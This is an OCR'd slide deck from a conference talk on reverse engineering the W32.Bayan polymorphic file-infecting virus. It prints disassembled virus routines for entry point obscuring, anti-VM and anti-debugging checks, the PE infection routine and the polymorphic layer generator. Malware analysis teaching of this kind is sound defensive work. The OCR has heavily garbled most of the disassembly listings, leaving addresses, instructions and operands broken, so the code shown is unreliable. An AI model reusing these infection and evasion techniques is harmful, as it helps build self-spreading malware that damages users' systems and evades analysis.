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Case Study: W32.BAYAN

FEATURES:

e The virus is Polymorphic and very infectious.

« EPO : Entry Point Obscuring - the entry point address in the header
is not modified, the virus injects code in the real entry point and hops
around a few times, before it jumps to the virus entry point.

» Obfuscated layers, using junk instructions, and different decryption
operations (simple ones tho).

* The junks code actually abuses a bug in VMWARE 5, so the virus
actually crashed in the VM at the time of the analysis



The Encryption Layers

* The virus has Anti Vmware instructions inside his encryption layers.
-~ VERW reg : Exception!
-~ Does not crash on a real computer (only infection happens :-)
+~ Tracing the layers inside a VM was a pain because of their size
and the fact that the number of layers is actually unknown when
you start reversing it.

* Bypassing the layers.
+~ Look for a pattern! In most packers/viruses, there is always some
sort of pattern you can use to identify loops boundaries.
-~ Pattern in the layers: cmp reg32,reg32 followed by a JB
-~ | used ollyscript to automate the layer tracing and anti VM code
removal.



E IDA Yiew-EIP

sub_43688A proc near

-Fsrc-aa436 0880
.Fsrc:- 8804368080
.Fsrc:-A8436088
-Fsrc-88436 880
-Fsrc-a8a4360893
Fsrc- 880436096

-Fsrc-a88436 098
Fsrc-884360A0
-Fsrc-aa4360n2
-Fsrc-aa4360n3
-Fsrc-A8a436enl
.Fsrc:-A84368A5
-Fsrc-aa4360a7
-Fsrc:-aa4360an
-Fsrc:- 88436 8AE
-Fsrc:-aa436 Ak
-Fsrc-884360B0
.Fsrc:- 8804360882
-Fsrc:-8843608B4
-Fsrc-A88436087
-Fsrc:-aa436 069
.Fsrc:-8804360BB
-Fsrc:-a8436 068
-Fsrc-a8436 8BD
-Fsrc:- 880436 8BD
-Fsrc-a8436 8BD
-Fsrc-a8436 8BD
.Fsrc:- 880436 BBF
-Fsrc:-8a436 acs
-Fsrc-88436 080606
-Fsrc-aa436ecy
Fsrc-8843608C9
-Fsrc:-a88436 0GB
-Fsrc:-8a436 CF
Fsrc-8843608DA
-Fsrc:-aa436 8Dz
-Fsrc:-aa436eans
Fsrc- 80436807
-Fsrc:-aa436a8D9
-Fsrc:-aa4368Dc
-Fsrc:-aa4368Dc
-Fsrc:-@884368DD
-Fsrc:-aa4368DD

push ebp

mou ebp, esp
shh edx,
cmovl ebx, esi
fadd st(%), st
mou eax,

neq ebx

pop ebp

pop edi

dec edi

not edx

verw di

mou bx, 452Bh
jo short loc_ 4368BD
=or edi, ecx
mou ebx, ecx
cmoube edi, esp
=or edi, ecx
®chg ebx, ebx
cmp al, BEo6h
loc_4368BD:

jno short loc 4368DD
lea ebx, ds:-Z215CBY&8h
push ebx

pop eax

®chg eax, edi
xchg edx, eax
mou ax, S5a61h
stc

arpl si, dx
bsf eax, edx
=xchg eax, edi
neg edi
cmovno esi, eax
inc ehx
loc_4368DD:

CODE XREF: start:loc 43685FTp
Host of the code is junk code

Anti UH?

CODE XREF: sub 43608a+24Tj

CODE XREF: sub_43608A:1loc_436BBDTj

=101 x|

Ll




The Encryption Layers:
OllyScript

We can control the debugger and automate debugging sessions
Very useful to script unpackers

So | wrote a dodgy Virus Tracer

-~ Remove Anti VM
+~ Locate end of layers
-~ Put breakpoints and resume execution

Stop condition
-~ Most viruses use a call followed by a pop to calculate a delta
address (Shellcodes and Packers use that too)
+ S0 | assumed | would eventually find one of those right after
the decryption and it worked :-)



DEMO

Lame Polymorphic Layers Tracer



The Encryption Layers

 Process Dump:
-~ We can dump the process when we are at the virus entry point
-~ Static Analysis with IDA is now possible

~ We can also debug our new dump and start directly from the virus
code.

-~ No need to go through all the layers anymore

e Delta Based Code:
+ Viruses usually use Delta Offsets.
+ Code can be executed anywhere in memory.
-~ Harder to understand statically.



I Static Analysis

* In order to read the code easily in IDA, you can load the file
manually and substract the delta offset from the imagebase, in
order to get a nice disassembly that you can interact with ,
without spending your time using an IDC script, structures or
whatsoever.

« Just select Manual Load, and do something like Oxlmagebase
— Oxdelta in IDA, and the file is loaded nicely and gets a lot
easier to analyse.

* Next slides don't use that technique, the code was loaded
normaly. not enough time to redo them : Complain to Hugo ;-)



Get delta offset

Farci00069C80 5 i SUBROUTINE
Jarc s DL0AYCYD

Jarc s DL0RGCYD

PsrC 0L065CED puplic start

P 01065080 start proc near

e (L065CoD call  §41
"srC0L069CA, pap ehp

srC010659CAS Il e,

srC 01060043

Jarc e OL0B%CAS




Fix Removed Chunks

0106AET S

OLOBAEYS 5 iitiiiiiiiiiir SUBROUTINE [hiiiiii ittt
010BAETS

010BAET S

0106AETS Fix_host_with_removed_chunks proc near ; CODE xREF: start+Clp

010BAEY S cld

O1L0BAETS Tea asi, [ebp+ ] ; ESI = removed bytes

OLOBAEAC Mo edx, 1

O1L0BAETC

0l06AERL

0106AERL still_chunks_to_fix: ; CODE ®REF: fix_host_with_removed_chunks+2F]]
010AAESL Mo adi, [sbp+ ]

OLOBAESY add edi, [ebp+ ]

OLORAERD Mo ebx, edi

OLOBAESF Todsd

OL0AAESD sub gax, [ebp+ ]

C1OBAESS add adi, eax ; edi = ptr original bytes location
01l 06AESH Todsd

010RAESD Mo ecx, 8ax ; Get number of bytes to overwrite
C10GAESE rep movsh ; do overwriting

OL06AESD ine el

O10GAESE cmp edx, [ebp+ ] ; compare counter with number of chunks removed
0106AEAL i short still_chunks_to_fix

0l06AEAS

01 06AEAR rethn

0l06AEAD

0lo6aEAE Tix_host_with_removed_chunks endp




Home GetProcAddress

:0logaldD
:0lo6al4E
010641 54
t0106A1 59
:0106a1 54
10106al5C
:0106A1 5D
t0106A15E
:0106A15F
:0106al15F
t01lo06a1 61
0lo6al a2
t0106a1 63
010640 64
t0lo6alas
01l06al1 65
0logal e’
01l06A1 67
0losales
t0l06al 6D
:01l06a1 69
(0losAlEE
:0106A1G6E
t0losalEE
:0106A1GE
0losalGE
10106A1F0
010641 73
10106al1 G
0106a1 7S
10106A1FE
01l06A1 7D
:0l0galYE
10106A0 80
0106a1 50
10106al1 85
01068155
10106alEG
01l06A1 55

(01064186 Get_GetProcaddress endp

Get_found:

lTocret_106A186:

retn

1 ; GetProcaddress

; Ccmp ASCII

acx
short Get_found

ed
e
Toc_logalds

short Tocret_106a156

CODE ®REF: Get_GetProcaddress+7ET ]
2ax, =24ax
ax, [edi]
2ax, o
ez, [ehx+lch]
esi, ed=x
ez, eax

eax, edx

[ebp+ 1. 2a=x ; _GetProcaddress

; CODE ®REF: Get_GetProcaddress+851]




Anti Debugging: Exception

; CODE XREF: start+l71p
s -Psrci0logapaFTp
Jmp_owver_lame_obfuscation

.PErCil0AETED
.rErc:0l06ETED

jmp_ower_lame_obfuscation:
po ebp
su ebp,
o dword ptr [ehp+
pusha
call Generate_Exception

Mo esp, [esp+E]
short go_on

Generate_Exceptian: : XREF: .rsrc:i0lO0GBFFSTR
push dword ptr fs:0
({33 f=:0, esp
inc byte ptr cs:0

®REF: .rsrci0lO8B7FCT]
pop dword ptr fs:0
add ezp, 4
popa
pusha
jmp short Joc_1l08E821

LPErCIOl0EEE2Z0

lToc 106E521: 3 3 I010GEBRLET]




Anti Debugging:
PEB.IsDebugged

lToc_106EE821: ; CODE ®REF: .rsrc:0lOSESLlET]
10000l ; Bad ass Loop: 100 000 times

isdebuggerpresent : ;7 CODE ®REF: .rsrc:i0lOSES3EQL]
setalc
mons f=:18h
o [eax+30h]
Mo 2 bwte ptr [e2ax+2] ; PEB+2 : IsDebugged
TEsT =R

0l 0GES3Y

Toc_106ES35: ; CODE ®REF: .rsrci0lOSES351T]
short f_ckoff

01 0GES3E isdebuggerpresent
short Toc_106ES4C
t0loaEsg 2

D1 0BES4 3
Dl 0BES44

: CODE XREF:

offset Toc_1085EET

Toc 1 06E84C: ; CODE XREF: .rsrc:iClOSES40T]
1




Anti Debugging: MeltiICE

lToc_106E84C: i CODE ®REF: .rsrc:0lO8B8407T]
ezi, [ebhp+
CreateFilea

2ax, eax
short loc_l106ES5F

loc_106B85F: i CODE ®REF: .rsrc:0lO8BS8S5ET]
short f_ckoff

nop
nop

nop

gla]s

lea esi, [ebp+
call CreateFilen

alals 2ax

LFPErCIDLOBEBEET ; static STROTnE, char, ...
LFPErCci0L0SEEET STR_ _Sice db 'O RSICE', D
LPEPCIULOSEE00 STR_ ML Ce cdb "hALSHTICE' , D




Infection

OLOSSEES CreateFilea

OLO89EES

L1O89EEA 2an

O1lO89EEE 2ax, eax

01 0ESEED failefd_infect

OlO89EED

Q1O89ECS 2ax

DL06SECY [ebhp+ 1. eax ; 1064A0AS
DLOESECA ebx, [ehp+ ] ; 1losAa0BO:
0lLO8%EDD CreateFileMappings

OlOaSEDD

O1lO69EDS 2ax, eax

01O69EDT i Toc_106A060

O1lO89EDT

DLOE9EDD [ebp+ 1. eax ; 106A0AC
D1059EES ehx, [ehp+ 1 : 10640EB0:
01 0ESEED MapviewdTFile

O1OB9EED

O1l0O89EEE 2ax, eax

O1lO0B9EFD | Toc_106a046

OlOBSEFD

D1O89EFS esy, eax

DLOE2EFS [ebp+ 1. esi

010B9EFE "Em

0lOs9Fo3 e«

D105SF 04 [e=s4], dx

0D1LOE9F07 i dont_infect_this_file
OlO0aSFoy

0LO689F0D word ptr [esi+38h], 'nf’
OLOBSFLS dont_infTect_this_file
0lO89Fl3

D1O08SF1LG ehx, [Esi+IMAGE_DOS_HEADER. e_lfanew]
0L069F1C ehbx, 200k ; IT PE header is at an offset > 2z00h don't infect
0DLOB9F22 dont_infect_this_file
OlOs9F22

DLOE9F28 ehx, esi

DLOBSFZ A "EF’

Q1O85F2F 2ax

D1089F30 [ehx], ax

0DLOE9F33 i dort_infect_this_file
OlO69F33

DLOGE9F39 [ebp+ 1. ebx ; 106A0BS




FErCT
FErCT
FErCT
FErCT
FErCT
FErCE
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
PSrCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT
FErCT

D1OG69F33
D1OE9F3S
D1OG69F3F
D1O69F41
D1O69F44
D1O69F4 A
D1O69F4C
D1OG69F52
D1OG69F52
DLOE9F5Y
D1OG69F5E
D1OE9F5D
D1OE9F 5D
DLO69F52
D1O69F54
D1O69F54
DLOGE9FGEA
DLOESFGC
DLOG69F72
DLOG9F7Y
DLOG9F7Y
D1O69FFC
D1O69Fs2
D1O069F8S
D1O69F3S
D1OG69F8C
D1O069F8F
D1O69FSl
DLOE9F95
D1O69F9G
D1069FSE
D1OE9FSD
D1O69F.AD
DLO69FAZ
D1O69FA4
D1O069FAB
D1O69FAE
D1069FE4
D1O069FEY
D1OG69FBEA
D1O069FBC
D1O069FBC
D1069FBE

Mo
Mo
Mo
Mo
Mo
Mo
call

pusha
Mo
call

test
iz

i[a1%
lea
ilal%
call

ila1%
ila1%
popa
ilal%
sh
xar
ila1%
dec
ilal%
Ll
add
add
add
ar
ila1%
add
ila1%
ila1%
cmp
]9e

nop

[ebp+ 1, ehx ; 1064A0EBS

ezi, ehx

gax, [esi+IMAGE_NT_HEADERS.OpTionalHeader.ImageBase]

[ebp+ ], eax ; 1064098

edi, esq

edx, [ebp+ ] ; 1lo6A0B4 :

Rip_bytes_and_replace_them_with_EPO_code
; Ipaddress

2ax,

virtualalloc

EaX, 2ax

locret_ 1069001

edi, eax

eax, [ebp+ ]

ecx, F470

Genetate_Poly_layers

[ebp+ 1, ecx ; 106409C

[ebp+ 1, edi ; 1064040

ebx, [Esi+IMAGE_NT_HEADERS.OpTionalHeader.MumberofRvasndsizes]
ehx, 3

2ax, eax

ax, [esi1+IMAGE_NT_HEADERS.FileHeader.Mumbercofsections]

2ax

ecx, 28h

[=Tabs

ezi, 78h

ezi, ehx

ezi, eax : Ptr to last section header

[Esi+IMASE_SECTION_HEADER.Characteristics], 0400000200
eax, [esi+IMASE_SECTICON_HEADER.SizeofRawDatal]

eax, [ebp+ 1 ; 1o/A09C: TY¥

[esi+1l0h], eax

edi, [esi+&]

eax, edi

short Toc_1089FCA




Infection

P01 OaSFCE

TO10aSFCE

TO10aSFCE

TO1OaSFCA

(0106%FCA Toc_L1O8SFCA: i CODE XREF: Infect_file+lo7t]
T01069FCA ecx, [ebp+

:01069F00 o ecx, [PCx+IMAGE_MWT_HEADERS.OpTionalHeader.Sectionalignment ]
TO10RSFD3 i (=Tl

P0106%FDS alils 2ax

P0106%FDE mul [=Tab's

:01069F0E o [esi+IMAGE_SECTION_HEADER.MiscC.Virtualsize], eax
(01 069F0E o eax, [esi+IMAGE_SECTICON_HEADER.Virtualaddress]
:01069F0E add eax, [esi+IMAGE_SECTION_HEADER.Misc.virtualsize]
:01069FEL o [ebp+ ], eax ; 106A0CO

t01069FET o eax, [esi+IMASE_SECTICN_HEADER.SizeofRawDatal]
t01069FES add eax, [esi+IMAGE_SECTION_HEADER.PoOinterToRawData]
:01069FED o [ebp+ ], eax

T01069FF3 ila% edi, [esi+IMAGE_SECTICN_HEADER.SizeofRawDatal]
T01069FFA sub edi, [ebp+ 1 ; 1loBA0SC: T¥

:010BSFFC add edi, [ebp+

:0106A002 add edi, [esi+ldh] ;

t0106A005 o esi, [ebp+ ]

101064006 o ecx, [ebp+ 1 3 init counter with wirus size
;01060A011 cld

DOloGaA0l2 rep movsh

101 06A014 o ek,

T0106A01S o eax, esi

(0106AD1E call wvirtualFree

;0100A01E

T0106A020 o esi, [ebp+ ]

(0106ADZG o word ptr [esi+38h], 'nf' ; mark file as infected
:0106A02C o esi, [ebp+ 1 ; 106ADES: F

:0106A032 o gax, [ebp+ 1 ; 106A0CO:

(01064038 o [es1+IMAGE_NT_HEADERS.OptionalHeader.sizeofImage], eax
(0100ADSE

(0100ADSE

101064058 dont_infect_this_file: ; CODE ®REF: Infect_file+521]
:0106A0SE i Infect_file+5ET]

(01064036 o gax, [ebp+ ]

101064041 call UnmapyviewofFile

;01060A041

;0100A04 G

:0106a046 Toc_106A045: i CODE XREF: Infect_file+3EB1]




Polymorphic Engine
Reverse Engineering

* Polymorphic engines use:
-~ A Pseudo Random Number Generator
-~ Assembly instructions helping code generation (stosb etc)
-~ Loops to generate more than one layer
-~ A lot or pseudo randomness

* Helpful:
+~ |ntel Opcodes doc to identify which instruction is generated by the
polymorphic engine (im getting old :-/)
+ Makes things easier and quicker



Poly Generator

10106AA17 SUBROUTIMNE fiiitiii bt
:010680T 7

:0106a0] 7

(01068817 Genetate_Poly_layers proc near i CODE ®REF: Infect_file+iZip
(0l06a817 push esi

(0106a81 8 push ebp

(01068419 call $+5

(0106a81E po ebp

P0106AMF s ebp,

(01l06AA2 S push Bax

(0l06AA2 S

(0106AA2 G

(0l06an2e Toc_l06aA26: i CODE ®REF: Genetate_Foly_Tlayers+1g]]
(0L0EALZE Mo eax, 2A i Generate layers @ 26 is max number @)
P0106AL7E call PL_zetrandomrumber

0l06AALE

01084830 test 24X, 2ax

(0l0RAA32 iz short loc 1064826

10l 05aA3 2

P01l 06AA3S Mo ehx, eax i ebx = numbers of layers

(0L06AASE pop 2ax

(0106AASE

:0106AAS T

(01l068A37 Generate_more_Tlayers: i CODE XREF: Genetate Foly_Tlayers+2ZE]L]
P01l 06AA3 T Mo edx, edi

(Ul06a830 call Folymorphic_generataor

(010683

OL0EAASE (ilal% eax, edx

:0L06AALD add edi, ecx

(010688 2 dec ehx

(0l0eAAd S test ehbx, ehx

(01064845 inz short Generate_more_layers

10106804 5

(0L0EALL T suhb edi, ecx

LYY pop ebp

(Ul06aAd A pop es

(0106444 B Fetn

:0106A04E

(0106884 E Genetate_Poly_layers endp

L

TS =




01064500
01064500
01064500
01064512
01064513
01064515
0L00ATLA
0106AN1E
0100ANLD
0106A520
(01004521
(010604521
(01064326
(01064527
(01064525
(01068524
:01064a52C
01064531
01064533
101064534
101064535
P0106A33)
P0106A33)

Poly Generator

PL_Get Randommum proc near

call

no
suEh
pus
push
xor
1mu;
pus
call

pop
i
xchi
xar
mow
div
pop
pop
retn

PL_GetRandamnum endp

$E5

2np

ehp,

ey

BCX

edx, edx
gax, 100

BaX
PL_GetRandom

BCX
BCX
eax, edx
edx, edyx
ecx, 100
BCX
BCX
edx

; CODE XREF: Generate_big_thrash_hlock+l6)p
y LPsrCi0LOBASEF]RD ...
; This proc generate a number between 0 and the parameter




Poly Engine

01064536 PL_GetRandom  proc near » CODE ®REF: PL_GetRandomium+ld Ip
01064536 y «Perciil0ea7lop ...
01064536

:0106A536 var_8 = dward ptr -8

01064536

01064530 push  adx . Plain Pseudo Random 32 bit generatar
01064537 push  &acx

01064538 rdtsc ; Time Stamp
0L0AASIA i Bax, 2

0L 06ALSD add Bax,

01 06A54 2 adc BaxX, 85p

(01064544 Xar eax, BCx

0L 06AS4 6 xar [ebp+ ], eax

0L 06AS4C add eax, [espvar_8]

0L 06ALSD e eax, 1

01064552 pop BCX

01064553 pop edx

01064554 Feth

0106AL

;01064554 PL_GetRandom  endp

01064554




Poly Engine

:0106A84C
Ry
10106A8d E
0106A84F
P0108A850
P0106AL5E
t01l08AAGC
0loBAsGs
0l0GALGL
101l 0aan6d
P 0l06AAG5S
1 0106ALTS
t01l08AATD
P0l0GALTE
010648 7E
101l08AABd
0l0GAAEL
0106ALED
t0108AARD
010G AAES
0106ALEE
01l 08AARC
0106ALEE
1 0106AAEF
:010BAASS
0106ALSS
101 06AAGA
P 0108AADC
01064A809E
1 0106A85F
:0l0BALAS
0106ALLS
101 06AL8L
:01o6aass add_reg3z_regs2:
10106ALAL

01l 08AAAC

P 0l06ALAD

0106ALAF

:01l08AAE]

DloBasBs

010GALES

1 0108AABE

P0l06AAT]

0l0GALCE

t01l08AATE

push
push
aush
push
man
man
Mo
man
call

Mo
add
call

Mmoo
call

call_delta_offzet:

o
stosh
xar
stosd
o
call

mow
add
stosh
moy
call

PO yMOrpRTCc_Qenerator proc near

ebp

e

esi

I=labs

[ebp+ 1s
[=bp+ 15
[ebp+ 1.
edi, edx
Get_36_ranom_values

106464 vir Size
1064aC5C

1064068

BCx
CER
edx ;

40

dward ptr [ebp+ 1.
[ebp+ y
Get_Random_word

acx

acx, [ebp+ 1
Generate_big_thrash_block

; store ER (call)
al, 0Esh
EAx = 0

2ax, o
; store dword -> ES0O0000

24ax

ecx, [ebp+ 1
Generate_big_thrash_kblock

58h
bh

al,
al,

acx, [ebp+ 1
Generate_big_thrash_block

al, &8lh

oz 0k
a]g}

al,
al,

eax, [ebp+
eax, [ebp+
eax, 9

acx, [ebp+ 1
Generate_big_thrash_block

pLr To wirus entry point
where to place the generated code?



.rerCi0l0aABES

Encrypt_virus:

Poly Engine

i[=}%
stosh
xar
i[=}%)
shl
add
add
stosh
i[=}%)
STOSW
xar
dec
Mo
suhb
i[=}%)
sub
suhb
stosd
u[=}%
call

Mmoo
Mmoo
add

cmp_regEE_reg32_jb_Dut_1a¥er:
al, 3Eh

gax, eax
al, hkh
al, 3

al, ocoh
al, kil
ax, B820Fh ; Magic Jb
Eax, Eax

eax

ecx, 1Ch

eax, [ebptecx+

ecx, 18h

eax, [ebpt+ecx+

eax, 13h

ecx, [ehp+ ]
Generate_big_thrash_block

ecx, [ebp+ ]
esi, [ebp+ ]
ecx, 857

, CODE XREF:

:=2 tell us where the end of the layer dis

LrEsrci0l08ABFa] ]

eax, [ebp+ 1 ; this code is patched: SUE can bhe OR, ADD etc

esi, ecx
short Encrypt_wirus

edx, [ebp+ ]
ecx, [ebp+ 1
ecx, [ebp+ ]
b
25
edi
ehp




(0106ASSS
101064555
P0106AS55
(0106BAS5S
101064556
(01064557
P0106BASEE
P0106AS5D
(0106A55A
P0106AS5F
P0L06ASED
101064560
P0106ASES
(010BASEG
P0106ASEG
(0106A566
(0106ASEE
P0L06ASFO
(01064572
P0106ASTE
P0L06ASFA,
10106457 C
P010BASTE
(0106ASEY
(0106ASEE
(01064588
P0106ASHE
P0106ASHE

Poly Engine

Generate_hig_thrash_hlock proc near i CODE ®REF: .rarc:OlO8ASET IR

push
push
push
push
push
call
o

sU

Toc_106AGGA:
M
call

<hl
lea
add
xar
Todsw
lea
add
call

il

i PErci0l0BAR1C D ...
edx
BCx
Egi
enp
ehx
$E5
enp
ebp,

; CODE ®REF: Generate_big_thrash_block+335]]
gax, 22
PL_GeTRandomrum

gax, 1

ez, [ebp+ 1 3 1064A%05: Ptr to Random_walues

esi, eax ; Use rnd value as displacement into the tahle
gax, eax

ez, [ebp+ 1 3 1064566 +0
eax, esi

2ax

short Toc_l06AS566

Generate_big_thrash_block endp
101064588




P0108AS04
P0108ASDS
(0108ASDY
(0105ASD
(0108ASDE
(01l08AS0D
(0108ASDF
:0106ASEL
(0106ADES
P0106ADES
PD108AREY
PD108ADED
(D108ADEE
(D108ASED
(D108 ASEF
(0108ASFL
(0108ASFS
(0108ASFS
(0106ASFYT
(01 06ASFD
(01 06ASFE
PD108ASFD
PD108ASFF
(0106801
(0108AL0S
(0106AR05
(0106AR07
(0106809
(01l06a80E
(0106800
(0106AR0F
(010648011
P0106A810 5
(01068810 5

Poly Engine

30Ch

24Fh

3ZEh

OFZFOh
OFE00h
OF 5FGOh
OF3FZ2h
0aeazh
QEZanh
QOEDEER
QEEEFh
OEEETh
DEZAFh
QEDCL1h




Lrerci0loaabFe

Poly Engine

neg_register:

cl, 2
singlebyte_std_cld

al, OF7h
dl, oooh

eax, 2
PL_GetRandomrum

2ax, 3
dl, al
FL_Some_more_random_crap

PL_GeTRancdommum

2ax
2ax, 6

2ax, Bcx

2ax

short conditional_jmp_long

CODE =REF:

al, 0OFh

eax, 04k
PL_GetRandomrkum

LPErci0l06ASFDT]




Questions

Questions ?

Thank you !

(Don't forget this was an improvised talk made in 20 minutes to
replace someone who canceled)



